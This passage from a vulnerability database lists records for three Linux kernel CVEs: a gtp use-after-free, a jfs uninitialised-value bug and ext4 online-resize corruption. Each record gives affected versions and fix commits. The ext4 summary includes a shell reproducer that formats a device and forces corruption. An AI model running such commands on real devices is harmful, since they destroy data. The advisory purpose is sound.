Linux	Linux	Affected: 043a283d24f40fea4c8a8d06b0e2694c8e372200 , < 07b20d0a3dc13fb1adff10b60021a4924498da58 (git) Affected: c185e1d6e2752a4b656c3ca878c525fa11f55757 , < 718df1bc226c383dd803397d7f5d95557eb81ac7 (git) Affected: 94dc550a5062030569d4aa76e10e50c8fc001930 , < 0caff3e6390f840666b8dc1ecebf985c2ef3f1dd (git) Affected: 94dc550a5062030569d4aa76e10e50c8fc001930 , < 2e74b3fd6bf542349758f283676dff3660327c07 (git) Affected: 94dc550a5062030569d4aa76e10e50c8fc001930 , < 25a1c2d4b1fcf938356a9688a96a6456abd44b29 (git) Affected: 94dc550a5062030569d4aa76e10e50c8fc001930 , < 2aacd4de45477582993f8a8abb9505a06426bfb6 (git) Affected: 94dc550a5062030569d4aa76e10e50c8fc001930 , < cd957d1716ec979d8f5bf38fc659aeb9fdaa2474 (git) Affected: 94dc550a5062030569d4aa76e10e50c8fc001930 , < f2a904107ee2b647bb7794a1a82b67740d7c8a64 (git) Affected: a29c4303930bc0c25ae6a4f365dcdef71447b4ea (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27396",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T15:23:40.567279Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:47:11.173Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:34:52.256Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07b20d0a3dc13fb1adff10b60021a4924498da58"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/718df1bc226c383dd803397d7f5d95557eb81ac7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0caff3e6390f840666b8dc1ecebf985c2ef3f1dd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e74b3fd6bf542349758f283676dff3660327c07"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/25a1c2d4b1fcf938356a9688a96a6456abd44b29"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2aacd4de45477582993f8a8abb9505a06426bfb6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cd957d1716ec979d8f5bf38fc659aeb9fdaa2474"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f2a904107ee2b647bb7794a1a82b67740d7c8a64"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:34.442Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/gtp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "07b20d0a3dc13fb1adff10b60021a4924498da58",
              "status": "affected",
              "version": "043a283d24f40fea4c8a8d06b0e2694c8e372200",
              "versionType": "git"
            },
            {
              "lessThan": "718df1bc226c383dd803397d7f5d95557eb81ac7",
              "status": "affected",
              "version": "c185e1d6e2752a4b656c3ca878c525fa11f55757",
              "versionType": "git"
            },
            {
              "lessThan": "0caff3e6390f840666b8dc1ecebf985c2ef3f1dd",
              "status": "affected",
              "version": "94dc550a5062030569d4aa76e10e50c8fc001930",
              "versionType": "git"
            },
            {
              "lessThan": "2e74b3fd6bf542349758f283676dff3660327c07",
              "status": "affected",
              "version": "94dc550a5062030569d4aa76e10e50c8fc001930",
              "versionType": "git"
            },
            {
              "lessThan": "25a1c2d4b1fcf938356a9688a96a6456abd44b29",
              "status": "affected",
              "version": "94dc550a5062030569d4aa76e10e50c8fc001930",
              "versionType": "git"
            },
            {
              "lessThan": "2aacd4de45477582993f8a8abb9505a06426bfb6",
              "status": "affected",
              "version": "94dc550a5062030569d4aa76e10e50c8fc001930",
              "versionType": "git"
            },
            {
              "lessThan": "cd957d1716ec979d8f5bf38fc659aeb9fdaa2474",
              "status": "affected",
              "version": "94dc550a5062030569d4aa76e10e50c8fc001930",
              "versionType": "git"
            },
            {
              "lessThan": "f2a904107ee2b647bb7794a1a82b67740d7c8a64",
              "status": "affected",
              "version": "94dc550a5062030569d4aa76e10e50c8fc001930",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a29c4303930bc0c25ae6a4f365dcdef71447b4ea",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/gtp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.19.93",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "5.4.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.162",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gtp: Fix Use-After-Free in gtp_dellink\n\nSince call_rcu, which is called in the hlist_for_each_entry_rcu traversal\nof gtp_dellink, is not part of the RCU read critical section, it\nis possible that the RCU grace period will pass during the traversal and\nthe key will be free.\n\nTo prevent this, it should be changed to hlist_for_each_entry_safe."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:12.766Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/07b20d0a3dc13fb1adff10b60021a4924498da58"
        },
        {
          "url": "https://git.kernel.org/stable/c/718df1bc226c383dd803397d7f5d95557eb81ac7"
        },
        {
          "url": "https://git.kernel.org/stable/c/0caff3e6390f840666b8dc1ecebf985c2ef3f1dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e74b3fd6bf542349758f283676dff3660327c07"
        },
        {
          "url": "https://git.kernel.org/stable/c/25a1c2d4b1fcf938356a9688a96a6456abd44b29"
        },
        {
          "url": "https://git.kernel.org/stable/c/2aacd4de45477582993f8a8abb9505a06426bfb6"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd957d1716ec979d8f5bf38fc659aeb9fdaa2474"
        },
        {
          "url": "https://git.kernel.org/stable/c/f2a904107ee2b647bb7794a1a82b67740d7c8a64"
        }
      ],
      "title": "net: gtp: Fix Use-After-Free in gtp_dellink",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27396",
    "datePublished": "2024-05-09T16:37:18.867Z",
    "dateReserved": "2024-02-25T13:47:42.677Z",
    "dateUpdated": "2026-05-12T11:51:34.442Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49900 (GCVE-0-2024-49900)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:58

Title

jfs: Fix uninit-value access of new_ea in ea_buffer

Summary

In the Linux kernel, the following vulnerability has been resolved: jfs: Fix uninit-value access of new_ea in ea_buffer syzbot reports that lzo1x_1_do_compress is using uninit-value: ===================================================== BUG: KMSAN: uninit-value in lzo1x_1_do_compress+0x19f9/0x2510 lib/lzo/lzo1x_compress.c:178 ... Uninit was stored to memory at: ea_put fs/jfs/xattr.c:639 [inline] ... Local variable ea_buf created at: __jfs_setxattr+0x5d/0x1ae0 fs/jfs/xattr.c:662 __jfs_xattr_set+0xe6/0x1f0 fs/jfs/xattr.c:934 ===================================================== The reason is ea_buf->new_ea is not initialized properly. Fix this by using memset to empty its content at the beginning in ea_get().

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/7b24d41d47a6805c4…
https://git.kernel.org/stable/c/dac398ed272a378d2…
https://git.kernel.org/stable/c/8b1dcf25c26d42e4a…
https://git.kernel.org/stable/c/d7444f91a9f93eaa4…
https://git.kernel.org/stable/c/6041536d18c5f51a8…
https://git.kernel.org/stable/c/c076b3746224982ee…
https://git.kernel.org/stable/c/7c244d5b48284a770…
https://git.kernel.org/stable/c/8ad8b531de79c348b…
https://git.kernel.org/stable/c/2b59ffad47db1c46a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7b24d41d47a6805c45378debf8bd115675d41da8 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < dac398ed272a378d2f42ac68ae408333a51baf52 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8b1dcf25c26d42e4a68c4725ce52a0543c7878cc (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d7444f91a9f93eaa48827087ed0f3381c194181d (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6041536d18c5f51a84bc37cd568cbab61870031e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < c076b3746224982eebdba5c9e4b1467e146c0d64 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7c244d5b48284a770d96ff703df2dfeadf804a73 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8ad8b531de79c348bcb8133e7f5e827b884226af (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2b59ffad47db1c46af25ccad157bb3b25147c35c (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49900",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:43:02.007949Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:47.719Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:02.861Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:58.567Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/xattr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7b24d41d47a6805c45378debf8bd115675d41da8",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "dac398ed272a378d2f42ac68ae408333a51baf52",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8b1dcf25c26d42e4a68c4725ce52a0543c7878cc",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d7444f91a9f93eaa48827087ed0f3381c194181d",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6041536d18c5f51a84bc37cd568cbab61870031e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "c076b3746224982eebdba5c9e4b1467e146c0d64",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7c244d5b48284a770d96ff703df2dfeadf804a73",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8ad8b531de79c348bcb8133e7f5e827b884226af",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2b59ffad47db1c46af25ccad157bb3b25147c35c",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/xattr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: Fix uninit-value access of new_ea in ea_buffer\n\nsyzbot reports that lzo1x_1_do_compress is using uninit-value:\n\n=====================================================\nBUG: KMSAN: uninit-value in lzo1x_1_do_compress+0x19f9/0x2510 lib/lzo/lzo1x_compress.c:178\n\n...\n\nUninit was stored to memory at:\n ea_put fs/jfs/xattr.c:639 [inline]\n\n...\n\nLocal variable ea_buf created at:\n __jfs_setxattr+0x5d/0x1ae0 fs/jfs/xattr.c:662\n __jfs_xattr_set+0xe6/0x1f0 fs/jfs/xattr.c:934\n\n=====================================================\n\nThe reason is ea_buf-\u003enew_ea is not initialized properly.\n\nFix this by using memset to empty its content at the beginning\nin ea_get()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:26.722Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7b24d41d47a6805c45378debf8bd115675d41da8"
        },
        {
          "url": "https://git.kernel.org/stable/c/dac398ed272a378d2f42ac68ae408333a51baf52"
        },
        {
          "url": "https://git.kernel.org/stable/c/8b1dcf25c26d42e4a68c4725ce52a0543c7878cc"
        },
        {
          "url": "https://git.kernel.org/stable/c/d7444f91a9f93eaa48827087ed0f3381c194181d"
        },
        {
          "url": "https://git.kernel.org/stable/c/6041536d18c5f51a84bc37cd568cbab61870031e"
        },
        {
          "url": "https://git.kernel.org/stable/c/c076b3746224982eebdba5c9e4b1467e146c0d64"
        },
        {
          "url": "https://git.kernel.org/stable/c/7c244d5b48284a770d96ff703df2dfeadf804a73"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ad8b531de79c348bcb8133e7f5e827b884226af"
        },
        {
          "url": "https://git.kernel.org/stable/c/2b59ffad47db1c46af25ccad157bb3b25147c35c"
        }
      ],
      "title": "jfs: Fix uninit-value access of new_ea in ea_buffer",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49900",
    "datePublished": "2024-10-21T18:01:32.607Z",
    "dateReserved": "2024-10-21T12:17:06.026Z",
    "dateUpdated": "2026-05-12T11:58:58.567Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35807 (GCVE-0-2024-35807)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:23 – Updated: 2026-05-12 11:52

Title

ext4: fix corruption during on-line resize

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: fix corruption during on-line resize We observed a corruption during on-line resize of a file system that is larger than 16 TiB with 4k block size. With having more then 2^32 blocks resize_inode is turned off by default by mke2fs. The issue can be reproduced on a smaller file system for convenience by explicitly turning off resize_inode. An on-line resize across an 8 GiB boundary (the size of a meta block group in this setup) then leads to a corruption: dev=/dev/<some_dev> # should be >= 16 GiB mkdir -p /corruption /sbin/mke2fs -t ext4 -b 4096 -O ^resize_inode $dev $((2 * 2**21 - 2**15)) mount -t ext4 $dev /corruption dd if=/dev/zero bs=4096 of=/corruption/test count=$((2*2**21 - 4*2**15)) sha1sum /corruption/test # 79d2658b39dcfd77274e435b0934028adafaab11 /corruption/test /sbin/resize2fs $dev $((2*2**21)) # drop page cache to force reload the block from disk echo 1 > /proc/sys/vm/drop_caches sha1sum /corruption/test # 3c2abc63cbf1a94c9e6977e0fbd72cd832c4d5c3 /corruption/test 2^21 = 2^15*2^6 equals 8 GiB whereof 2^15 is the number of blocks per block group and 2^6 are the number of block groups that make a meta block group. The last checksum might be different depending on how the file is laid out across the physical blocks. The actual corruption occurs at physical block 63*2^15 = 2064384 which would be the location of the backup of the meta block group's block descriptor. During the on-line resize the file system will be converted to meta_bg starting at s_first_meta_bg which is 2 in the example - meaning all block groups after 16 GiB. However, in ext4_flex_group_add we might add block groups that are not part of the first meta block group yet. In the reproducer we achieved this by substracting the size of a whole block group from the point where the meta block group would start. This must be considered when updating the backup block group descriptors to follow the non-meta_bg layout. The fix is to add a test whether the group to add is already part of the meta block group or not.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/75cc31c2e7193b69f…
https://git.kernel.org/stable/c/ee4e9c1976147a850…
https://git.kernel.org/stable/c/e8e8b197317228b50…
https://git.kernel.org/stable/c/239c669edb2bffa1a…
https://git.kernel.org/stable/c/fb1088d51bbaa0fae…
https://git.kernel.org/stable/c/37b6a3ba793bbbae0…
https://git.kernel.org/stable/c/b461910af8ba3bed8…
https://git.kernel.org/stable/c/722d2c01b8b108f82…
https://git.kernel.org/stable/c/a6b3bfe176e8a5b05…

Impacted products

2 products

Vendor	Product	Version
